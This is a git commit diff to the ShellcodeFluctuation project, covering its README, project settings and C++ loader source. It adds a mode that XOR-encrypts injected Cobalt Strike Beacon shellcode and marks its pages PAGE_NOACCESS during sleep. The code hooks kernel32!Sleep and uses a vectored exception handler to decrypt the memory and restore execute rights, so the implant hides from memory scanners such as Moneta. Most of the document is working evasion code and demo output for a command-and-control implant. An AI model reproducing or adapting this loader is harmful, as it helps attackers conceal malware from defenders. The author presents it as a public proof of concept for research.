Implemented ORCA666's idea to fluctuate into PAGE_NOACCESS instead of RW

This commit is contained in:
Mariusz B. / mgeeky
2021-09-30 14:40:28 +02:00
parent 5e7fe0b28b
commit 75f2db4fc7
4 changed files with 212 additions and 34 deletions
+75 -5
View File
@@ -15,7 +15,7 @@ Questions proven otherwise so I decided to release this unweaponized PoC to docu
This PoC is a demonstration of rather simple technique, already known to the offensive community (so I'm not bringin anything new here really) in hope to disclose secrecy behind magic showed by some commercial frameworks that demonstrate their evasion capabilities targeting both aforementioned memory scanners.
**Here's a comparison:**
**Here's a comparison when fluctuating to RW** (another option is to fluctuate to `PAGE_NOACCESS` - described below):
1. Beacon not encrypted
2. **Beacon encrypted** (_fluctuating_)
@@ -41,6 +41,15 @@ However the technique is impressive, its equally hard to leverage it with Cobalt
That's far from perfect, however since we already operate from the grounds of our own self-injection loader process, we're able to do whatever we want with the environment in which shellcode operate and hide it however we like. This technique (and the previous one being [ThreadStackSpoofer](https://github.com/mgeeky/ThreadStackSpoofer)) shows advantages from running our shellcodes this way.
The implementation of fluctuating to `PAGE_NOACCESS` is inspired by [ORCA666](https://github.com/ORCA666)'s work presented in his https://github.com/ORCA666/0x41 injector.
ORCA showed that:
1. we can initialize a vectored exception handler (VEH),
2. flip shellcode's pages to no-access
3. and then catch Access Violation exceptions that will occur as soon as the shellcode wants to resume its execution and decrypt + flip its memory pages back to Read+Execute.
This implementation contains this idea implemented, available with option `2` in `<fluctuate>`.
## How it works?
@@ -49,7 +58,7 @@ When shellcode runs (this implementation specifically targets Cobalt Strike Beac
Whenever hooked `MySleep` function gets invoked, it will localise its memory allocation boundaries, flip their protection to `RW` and `xor32` all the bytes stored there.
Having awaited for expected amount of time, when shellcode gets back to our `MySleep` handler, we'll decrypt shellcode's data and flip protection back to `RX`.
The rough algorithm is following:
Fluctuation to `PAGE_READWRITE` works as follows:
1. Read shellcode's contents from file.
2. Hook `kernel32!Sleep` pointing back to our callback.
@@ -60,6 +69,20 @@ The rough algorithm is following:
5. A call to original `::Sleep` is made to let the Beacon's sleep while waiting for further communication.
11. After Sleep is finished, we decrypt our shellcode's data, flip it memory protections back to `RX` and then re-hook `kernel32!Sleep` to ensure interception of subsequent sleep.
Fluctuation to `PAGE_NOACCESS` works as follows (do note that the idea was borrowed from _ORCA666_'s [0x41](https://github.com/ORCA666/0x41) project):
1. Read shellcode's contents from file.
2. Hook `kernel32!Sleep` pointing back to our callback.
3. Inject and launch shellcode via `VirtualAlloc` + `memcpy` + `CreateThread` ...
4. Initialize Vectored Exception Handler (VEH) to setup our own handler that will catch _Access Violation_ exceptions.
5. As soon as Beacon attempts to sleep, our `MySleep` callback gets invoked.
6. Beacon's memory allocation gets encrypted and protection flipped to `PAGE_NOACCESS`
7. We then unhook original `kernel32!Sleep` to avoid leaving simple IOC in memory pointing that `Sleep` have been trampolined (in-line hooked).
8. A call to original `::Sleep` is made to let the Beacon's sleep while waiting for further communication.
9. After Sleep is finished, we re-hook `kernel32!Sleep` to ensure interception of subsequent sleep.
10. Shellcode then attempts to resume its execution which results in Access Violation being throwed since its pages are marked NoAccess.
11. Our VEH Handler catches the exception, decrypts and flips memory protections back to `RX` and shellcode's is resumed.
## Demo
@@ -70,7 +93,8 @@ Usage: ShellcodeFluctuation.exe <shellcode> <fluctuate>
<fluctuate>:
-1 - Read shellcode but dont inject it. Run in an infinite loop.
0 - Inject the shellcode but don't hook kernel32!Sleep and don't encrypt anything
1 - Inject shellcode and start fluctuating its memory.
1 - Inject shellcode and start fluctuating its memory with standard PAGE_READWRITE.
2 - Inject shellcode and start fluctuating its memory with ORCA666's PAGE_NOACCESS.
```
### Moneta (seemingly) False Positive
@@ -102,7 +126,7 @@ The second use case presents Memory IOCs of a Beacon operating within our proces
We can see that `Moneta64` correctly recognizes `Abnormal private executable memory` pointing at the location where our shellcode resides.
That's really strong Memory IOC exposing our shellcode for getting dumped and analysed by automated scanners. Not cool.
### Encrypted Beacon
### Encrypted Beacon with RW protections
```
C:\> ShellcodeFluctuation.exe beacon64.bin 1
@@ -126,10 +150,56 @@ Currently I thought of no better option to intercept shellcode's execution in th
But hey, still none of the bytes differ compared to what is lying out there on the filesystem (`C:\Windows\System32\kernel32.dll`) and no function is hooked, what's the deal? 😉
But what about that modified `kernel32` IOC?
### Encrypted Beacon with PAGE_NOACCESS protections
```
C:\> ShellcodeFluctuation.exe beacon64.bin 2
```
That will cause the shellcode to fluctuate between `RX` and `NA` pages effectively:
```
C:\> ShellcodeFluctuation.exe beacon64.bin 2
[.] Reading shellcode bytes...
[.] Hooking kernel32!Sleep...
[.] Initializing VEH Handler to intercept invalid memory accesses due to PAGE_NOACCESS.
This is a re-implementation of ORCA666's work presented in his https://github.com/ORCA666/0x41 project.
[.] Injecting shellcode...
[+] Shellcode is now running. PID = 45312
[+] Fluctuation initialized.
Shellcode resides at 0x00000147EE811000 and occupies 176128 bytes. XOR32 key: 0x0bd4bcf7
[>] Flipped to RW.
[>] Encoding...
[>] Flipped to No Access.
===> MySleep(5000)
[.] Access Violation occured at 0x147ee83bd51
[+] Shellcode wants to Run. Restoring to RX and Decrypting
[>] Flipped to RW.
[<] Decoding...
[<] Flipped to RX.
[>] Flipped to RW.
[>] Encoding...
[>] Flipped to No Access.
```
At the moment I'm not sure of benefits for flipping into `PAGE_NOACCESS` instead of `PAGE_READWRITE`.
### Modified code in kernel32.dll
So what about that modified `kernel32` IOC?
Now, let us attempt to get to the bottom of this IOC and see what's the deal here.
Firstly, we'll dump mentioned memory region - being `.text` (code) section of `kernel32.dll`. Let us use `ProcessHacker` for that purpose to utilise publicly known and stable tooling:
@@ -1,7 +1,7 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LocalDebuggerCommandArguments>d:\dev2\ShellcodeFluctuation\tests\beacon64.bin 1</LocalDebuggerCommandArguments>
<LocalDebuggerCommandArguments>d:\dev2\ShellcodeFluctuation\tests\beacon64.bin 2</LocalDebuggerCommandArguments>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
</Project>
+13 -1
View File
@@ -10,13 +10,25 @@ typedef void (WINAPI* typeSleep)(
DWORD dwMilis
);
typedef DWORD(NTAPI* typeNtFlushInstructionCache)(
HANDLE ProcessHandle,
PVOID BaseAddress,
ULONG NumberOfBytesToFlush
);
typedef std::unique_ptr<std::remove_pointer<HANDLE>::type, decltype(&::CloseHandle)> HandlePtr;
enum TypeOfFluctuation
{
NoFluctuation = 0,
FluctuateToRW,
FluctuateToNA, // ORCA666's delight: https://github.com/ORCA666/0x41
};
struct FluctuationMetadata
{
LPVOID shellcodeAddr;
SIZE_T shellcodeSize;
DWORD protect;
bool currentlyEncrypted;
DWORD encodeKey;
};
+123 -27
View File
@@ -5,7 +5,7 @@
HookedSleep g_hookedSleep;
FluctuationMetadata g_fluctuationData;
bool g_fluctuate = false;
TypeOfFluctuation g_fluctuate;
void WINAPI MySleep(DWORD dwMilliseconds)
@@ -42,10 +42,21 @@ void WINAPI MySleep(DWORD dwMilliseconds)
// Perform sleep emulating originally hooked functionality.
::Sleep(dwMilliseconds);
//
// Decrypt (XOR32) shellcode's memory allocation and flip its memory pages back to RX
//
shellcodeEncryptDecrypt(caller);
if (g_fluctuate == FluctuateToRW)
{
//
// Decrypt (XOR32) shellcode's memory allocation and flip its memory pages back to RX
//
shellcodeEncryptDecrypt((LPVOID)caller);
}
else
{
//
// If we fluctuate to PAGE_NOACCESS there is no need to decrypt and revert back memory protections just yet.
// We await for Access Violation exception to occur, catch it and from within the exception handler will adjust
// its protection to resume execution.
//
}
//
// Re-hook kernel32!Sleep
@@ -82,7 +93,7 @@ std::vector<MEMORY_BASIC_INFORMATION> collectMemoryMap(HANDLE hProcess, DWORD Ty
void initializeShellcodeFluctuation(const LPVOID caller)
{
if (g_fluctuate && g_fluctuationData.shellcodeAddr == nullptr && isShellcodeThread(caller))
if ((g_fluctuate != NoFluctuation) && g_fluctuationData.shellcodeAddr == nullptr && isShellcodeThread(caller))
{
auto memoryMap = collectMemoryMap(GetCurrentProcess());
@@ -100,7 +111,6 @@ void initializeShellcodeFluctuation(const LPVOID caller)
//
g_fluctuationData.shellcodeAddr = mbi.BaseAddress;
g_fluctuationData.shellcodeSize = mbi.RegionSize;
g_fluctuationData.protect = mbi.Protect;
g_fluctuationData.currentlyEncrypted = false;
std::random_device dev;
@@ -116,7 +126,7 @@ void initializeShellcodeFluctuation(const LPVOID caller)
log(" Shellcode resides at 0x",
std::hex, std::setw(8), std::setfill('0'), mbi.BaseAddress,
" and occupies ", std::dec, mbi.RegionSize,
" bytes. XOR32 key: 0x", std::hex, std::setw(8), std::setfill('0'), g_fluctuationData.encodeKey);
" bytes. XOR32 key: 0x", std::hex, std::setw(8), std::setfill('0'), g_fluctuationData.encodeKey, "\n");
return;
}
@@ -154,9 +164,10 @@ bool isShellcodeThread(LPVOID address)
//
if (mbi.Type == MEM_PRIVATE)
{
return ((mbi.Protect & PAGE_EXECUTE_READWRITE)
|| (mbi.Protect & PAGE_EXECUTE_READ)
|| (mbi.Protect == PAGE_READWRITE));
const DWORD expectedProtection = (g_fluctuate == FluctuateToRW) ? PAGE_READWRITE : PAGE_NOACCESS;
return ((mbi.Protect & Shellcode_Memory_Protection)
|| (mbi.Protect & expectedProtection));
}
}
@@ -230,6 +241,15 @@ bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, H
}
}
static typeNtFlushInstructionCache pNtFlushInstructionCache = NULL;
if (!pNtFlushInstructionCache)
{
pNtFlushInstructionCache = (typeNtFlushInstructionCache)GetProcAddress(GetModuleHandleA("ntdll"), "NtFlushInstructionCache");
}
pNtFlushInstructionCache(GetCurrentProcess(), addressToHook, dwSize);
::VirtualProtect(
addressToHook,
dwSize,
@@ -256,28 +276,27 @@ bool hookSleep()
void shellcodeEncryptDecrypt(LPVOID callerAddress)
{
if (g_fluctuate && g_fluctuationData.shellcodeAddr != nullptr && g_fluctuationData.shellcodeSize > 0)
if ((g_fluctuate != NoFluctuation) && g_fluctuationData.shellcodeAddr != nullptr && g_fluctuationData.shellcodeSize > 0)
{
if (!isShellcodeThread(callerAddress))
return;
DWORD oldProt = 0;
if (!g_fluctuationData.currentlyEncrypted)
if (!g_fluctuationData.currentlyEncrypted
|| (g_fluctuationData.currentlyEncrypted && g_fluctuate == FluctuateToNA))
{
::VirtualProtect(
g_fluctuationData.shellcodeAddr,
g_fluctuationData.shellcodeSize,
PAGE_READWRITE,
&g_fluctuationData.protect
&oldProt
);
log("[>] Flipped to RW. Encoding...");
}
else
{
log("[.] Decoding...");
log("[>] Flipped to RW.");
}
log((g_fluctuationData.currentlyEncrypted) ? "[<] Decoding..." : "[>] Encoding...");
xor32(
reinterpret_cast<uint8_t*>(g_fluctuationData.shellcodeAddr),
@@ -285,22 +304,83 @@ void shellcodeEncryptDecrypt(LPVOID callerAddress)
g_fluctuationData.encodeKey
);
if (g_fluctuationData.currentlyEncrypted)
if (!g_fluctuationData.currentlyEncrypted && g_fluctuate == FluctuateToNA)
{
//
// Here we're utilising ORCA666's idea to mark the shellcode as PAGE_NOACCESS instead of PAGE_READWRITE
// and our previously set up vectored exception handler should catch invalid memory access, flip back memory
// protections and resume the execution.
//
// Be sure to check out ORCA666's original implementation here:
// https://github.com/ORCA666/0x41/blob/main/0x41/HookingLoader.hpp#L285
//
::VirtualProtect(
g_fluctuationData.shellcodeAddr,
g_fluctuationData.shellcodeSize,
PAGE_NOACCESS,
&oldProt
);
log("[>] Flipped to No Access.\n");
}
else if (g_fluctuationData.currentlyEncrypted)
{
::VirtualProtect(
g_fluctuationData.shellcodeAddr,
g_fluctuationData.shellcodeSize,
g_fluctuationData.protect,
Shellcode_Memory_Protection,
&oldProt
);
log("[>] Flipped to RX.");
log("[<] Flipped to RX.\n");
}
g_fluctuationData.currentlyEncrypted = !g_fluctuationData.currentlyEncrypted;
}
}
LONG NTAPI VEHHandler(PEXCEPTION_POINTERS pExceptInfo)
{
if (pExceptInfo->ExceptionRecord->ExceptionCode == 0xc0000005)
{
#ifdef _WIN64
ULONG_PTR caller = pExceptInfo->ContextRecord->Rip;
#else
ULONG_PTR caller = pExceptInfo->ContextRecord->Eip;
#endif
log("[.] Access Violation occured at 0x", std::hex, std::setw(8), std::setfill('0'), caller);
//
// Check if the exception's instruction pointer (EIP/RIP) points back to our shellcode allocation.
// If it does, it means our shellcode attempted to run but was unable to due to the PAGE_NOACCESS.
//
if ((caller >= (ULONG_PTR)g_fluctuationData.shellcodeAddr)
&& (caller <= ((ULONG_PTR)g_fluctuationData.shellcodeAddr + g_fluctuationData.shellcodeSize)))
{
log("[+] Shellcode wants to Run. Restoring to RX and Decrypting\n");
//
// We'll now decrypt (XOR32) shellcode's memory allocation and flip its memory pages back to RX.
//
shellcodeEncryptDecrypt((LPVOID)caller);
//
// Tell the system everything's OK and we can carry on.
//
return EXCEPTION_CONTINUE_EXECUTION;
}
}
log("[.] Unhandled exception occured. Not the one due to PAGE_NOACCESS :(");
//
// Oops, something else just happened and that wasn't due to our PAGE_NOACCESS trick.
//
return EXCEPTION_CONTINUE_SEARCH;
}
bool readShellcode(const char* path, std::vector<uint8_t>& shellcode)
{
HandlePtr file(CreateFileA(
@@ -406,13 +486,23 @@ int main(int argc, char** argv)
log("Usage: ShellcodeFluctuation.exe <shellcode> <fluctuate>");
log("<fluctuate>:\n\t-1 - Read shellcode but dont inject it. Run in an infinite loop.");
log("\t0 - Inject the shellcode but don't hook kernel32!Sleep and don't encrypt anything");
log("\t1 - Inject shellcode and start fluctuating its memory.");
log("\t1 - Inject shellcode and start fluctuating its memory with standard PAGE_READWRITE.");
log("\t2 - Inject shellcode and start fluctuating its memory with ORCA666's PAGE_NOACCESS.");
return 1;
}
std::vector<uint8_t> shellcode;
bool dontInject = !strcmp(argv[2], "-1");
if(!dontInject) g_fluctuate = (!strcmp(argv[2], "true") || !strcmp(argv[2], "1"));
try
{
// Don't you play tricks with values outside of this enum, I'm feeling like catching all your edge cases...
g_fluctuate = (TypeOfFluctuation)atoi(argv[2]);
}
catch (...)
{
log("[!] Invalid <fluctuate> mode provided");
return 1;
}
log("[.] Reading shellcode bytes...");
if (!readShellcode(argv[1], shellcode))
@@ -421,7 +511,7 @@ int main(int argc, char** argv)
return 1;
}
if (g_fluctuate)
if (g_fluctuate != NoFluctuation)
{
log("[.] Hooking kernel32!Sleep...");
if (!hookSleep())
@@ -435,12 +525,18 @@ int main(int argc, char** argv)
log("[.] Shellcode will not fluctuate its memory pages protection.");
}
if (dontInject)
if (g_fluctuate == NoFluctuation)
{
log("[.] Entering infinite loop (not injecting the shellcode) for memory IOCs examination.");
log("[.] PID = ", std::dec, GetCurrentProcessId());
while (true) {}
}
else if (g_fluctuate == FluctuateToNA)
{
log("\n[.] Initializing VEH Handler to intercept invalid memory accesses due to PAGE_NOACCESS.");
log(" This is a re-implementation of ORCA666's work presented in his https://github.com/ORCA666/0x41 project.\n");
AddVectoredExceptionHandler(1, &VEHHandler);
}
log("[.] Injecting shellcode...");